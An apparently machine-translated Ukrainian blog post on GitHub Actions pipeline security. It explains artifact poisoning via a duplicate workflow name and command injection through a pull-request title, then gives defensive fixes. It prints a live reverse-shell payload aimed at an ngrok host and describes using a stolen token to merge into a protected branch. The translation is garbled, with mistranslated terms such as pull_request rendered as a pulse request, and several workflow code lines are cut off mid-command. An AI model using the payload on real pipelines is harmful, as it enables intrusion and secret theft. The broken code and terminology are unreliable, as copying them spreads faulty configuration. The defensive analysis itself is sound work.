У попередніх публікаціях (див. Непряме отруєння Pipeline Виконання I-PEE та Отруєний Pipeline ЗІЗ для виконання , ми мали справу, головним чином, із ЗІЗ (засоби захисту від отруєнь Pipeline Виконання): ми побачили, як це працює, його наслідки, деякі види експлуатації, а також способи захисту від нього.
У цій публікації детально розглядаються деякі інші CI/CD pipeline такі вразливості, як отруєння артефактів та впровадження коду.
Для цього ми якось базуватимемо це на ЗІЗ, тож давайте коротко підсумуємо те, що ми бачили про ЗІЗ.
Попередня робота над ЗІЗ
Підсумовуючи, ми почали з базового GitHub pipeline створювати та тестувати внесений код через pull requestКрім того, він визначає деякі перевірки, виконання яких призведе до об'єднання коду з основною гілкою. Ми назвали це як Сценарій №1.

У нашій попередній публікації ми продемонстрували, як цей базовий pipeline було вразливі як до D-PEE, так і до I-PEE.
Нам вдалося виправити D-PEE by зміна події-тригера від запит_на_пульс до ціль_запиту_на_пульс, виготовлення pipeline безпечний для D-PPEНагадуємо, pipelines, що спрацьовують на подію pull_request_target, виконають базовий pipeline код, а не той pipeline код, що міститься в pull request.
Ми назвали це так Сценарій №2.

В результаті цієї модифікації ми продемонстрували, що Сценарій №2 все ще був вразливим до I-PPE.
Щоб виправити це, ми вирішили розділити pipeline на два:
- 1st pipeline (Збірка неперервної конфігурації (CI)) би перевірте PR-код (для його збірки), зробити збірку та створити артефакт.
- 2nd pipeline (Тестовий ДІ) би перевірте базовий код (щоб уникнути модифікації скриптів оболонки) та виконати оригінальні скрипти для артефакту.
- Синхронізація тестового CI pipeline запускатися ПІСЛЯ збірки CI pipeline, ми будемо використовувати виконання_робочого_процесу тригер.
Ми назвали це так Сценарій №3.

Давайте відновимо код обох pipelineзгідно з цими модифікаціями…
1st pipeline (Збірка CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Тестовий ДІ):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(
Отруєння артефактами
Згідно з вищезазначеним CI/CD pipelines:
- pipeline Збірка неперервної конфігурації (CI) is сейф для обох D-ЗІЗ (через ціль_запиту_на_пульс) і І-ЗІЗ (оскільки він більше не виконує скрипт оболонки).
- pipeline Тестовий ДІ Також сейф для обох D-ЗІЗ (через виконання_робочого_процесу) і І-ЗІЗ (тому що він перевіряє базовий код, щоб отримати оригінальний скрипт оболонки)
Давайте детальніше розглянемо це «рішення».
Pipeline Тестовий ДІ завантажує артефакт у вигляді zip-файлу.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Після розпакування він виконує «безпечний» скрипт оболонки. Чому я кажу «безпечний» скрипт оболонки? Тому що на попередньому кроці pipeline перевіряє «базовий» код, тому оригінальний скрипт поміщається в папку робочої області. Тому, коли pipeline виконує скрипт оболонки, який він запускатиме, використовуючи попередньо завантажений бінарний файл.
Тоді, що таке проблема з таким підходом? Проблема виникає коли будь-який користувач «створює» новий pipeline.
Якщо користувач відкриває PR-запит, що містить новий pipeline, GitHub виконає це pipeline (за певних умов, як ми бачили в попередньому після).
З огляду на це, що робити, якщо користувач створить новий pipeline з такою ж назвою, як і Build CI? Так, це дивно, але GitHub дозволяє створити два pipelineз таким самим іменем!!
Пам’ятайте, що тестовий CI буде виконано після побудови CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Дивно, адже зараз їх два pipelineз такою ж назвою, pipeline Тестовий CI буде виконано двічіодин після оригіналу pipeline та інші після «нового» pipeline.
Як хакер може цим скористатися?
- По-перше, зловмисник може змінити скрипт оболонки, щоб надіслати секретний код на контрольований хакером сервер.
- По-друге, новий pipeline містить рядок для копіювання зміненого скрипта оболонки в артефакт → отруєння артефактукт!!!
Коли користувач відкриває запит на перевезення з цими змінами, «новий» pipeline буде виконано (завантаження отруєного артефакту) та розгортання CI pipeline буде виконано після цього, в результаті чого «Змінений» скрипт оболонки перезаписує «оригінальний» скрипт оболонки, розташований у pipeline робоча область.

Це те, що ми називаємо Отруєння артефактами, тобто можливість модифікувати (зламати) pipeline логіка через модифікацію pipeline артефакт.
Один з можливих відновлення досить просто: просте розпакування артефакту до підпапки робочої області дозволить уникнути перезапису «базового» скрипта оболонки.
Введення коду
Окрім отруєння артефактами, чи бачите ви якусь іншу вразливість у наведеному вище коді?
Ходімо!!
Як видно з коду, pipeline Build CI збирає бінарний файл, він завантажує бінарний файл як pipeline артефакт, а також завантажує кілька додаткових даних: назву запиту на зміну (PR Title) та ідентифікатор запиту на зміну (PR Id).
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Чому? Тому що для об'єднання PR, як ви можете бачити нижче, Test CI pipeline потрібен ідентифікатор PR для виклику REST API GitHub, який об'єднує PR.
Як працює тестова інтегральна інтеграція (CI) pipeline отримати цей ідентифікатор PR? Обмін інформацією в текстових файлах (частина pipeline артефакт) – це поширений спосіб обміну інформацією між pipelineс. І саме це ці pipelineроблять.
echo "Merging .."
PR_ID=$(
Строго кажучи, для об'єднання PR потрібен лише ідентифікатор PR, але pipeline адміністратор вирішив, що до Build CI також додасть назву PR, тож Test CI pipeline виведе деяке інформаційне повідомлення, що містить як ідентифікатор PR, так і заголовок.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(
Заголовок PR завжди є даними, що надходять від користувача, і тому його завжди слід вважати ненадійним.. Тож pipeline повинні поводитися відповідно та вживати захисних заходів.
У наведеному вище коді ми бачимо конкретне повідомлення, яке повторює заголовок PR. Це просто команда Linux «echo».
Завдяки інтерполяції рядків, якщо заголовок є «фіктивним заголовком», Github внутрішньо генерує скрипт, що містить
echo ""a dummy title""
Але що, якби заголовок для PR був приблизно таким:
«Шкідливий заголовок» && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Сценарій мав би виглядати так:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
В результаті відкриється зворотна оболонка проти сервера, контрольованого хакером.

Ця зворотна оболонка може бути використана для доступу до pipeline секрети (пам’ятайте, що Test CI працює в режимі привілеїв, оскільки його запускає workflow_run, тому він має доступ до секретів).
Але що ще можна зробити через цю зворотну оболонку?
Подивіться на код CI Test:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(
Як ви можете бачити в тестовому CI pipeline, команда curl merge використовує GITHUB_PAT (визначений як pipeline env var), тому раннер містить GITHUB_PAT як змінну середовища. Крім того, він також створює змінну середовища, яка зчитує PR ID.
Тож хакеру просто потрібно скопіювати команду curl та вставити її у зворотну оболонку, об'єднавши PR безпосередньо із захищеною гілкою.

Щоб захистити все це:
- До уникнути інтерполяція рядків з ненадійними даними (вразлива до введення коду) за визначаючи pipeline змінні середовища замість використання його безпосередньо в командах echo
Замість використання:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Використовуй це:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Навіть з використанням експлойту для впровадження коду, команда curl merge не виконала б свою роботу, якби ви правильно виконали її. захистив твій pull requests шляхом обов'язкового перегляду або затвердження.
Висновки
Якось важко захистити CI/CD pipelineконфігурацію та отримати pipelineвільний від вразливостей.
Це не означає, що CI/CD Системи (як GitHub у цьому випадку) є вразливими самі по собі. CI/CD Системи забезпечують засоби захисту від вразливостей… але адміністратор несе відповідальність за впровадження цих засобів захисту.
Але ... Ви не можете вирішити проблему з вразливістю, якщо не знаєте про її існування!!!
Звичайно, висококваліфікований адміністратор Devops може враховувати всі ці загрози та належним чином захистити CI/CD pipelineале, навіть попри це, дуже цінно використовувати продукт для виявлення всіх цих видів вразливостей. І, звичайно, автоматизувати цей процес виявлення вразливостей (наприклад, запустити сканування як частину CI/CD pipelineз).
Цей підхід можна назвати «Ворота безпеки"
- Створіть новий pipeline (Захисні ворота) для перевірки CI/CD pipelineвразливості та зробити інший CI pipelineвиконувати лише після успішного завершення роботи через Ворота безпеки pipeline.
- Ворота безпеки pipelineперевірить CI/CD pipelineвразливості та,
- Якщо будуть знайдені вразливості, він не вийде з ладу, і, отже, інший pipelineне будуть виконані.
- Якщо вразливостей не виявлено, то pipeline досягне успіху, а інший pipelines виконуватиметься як завжди.








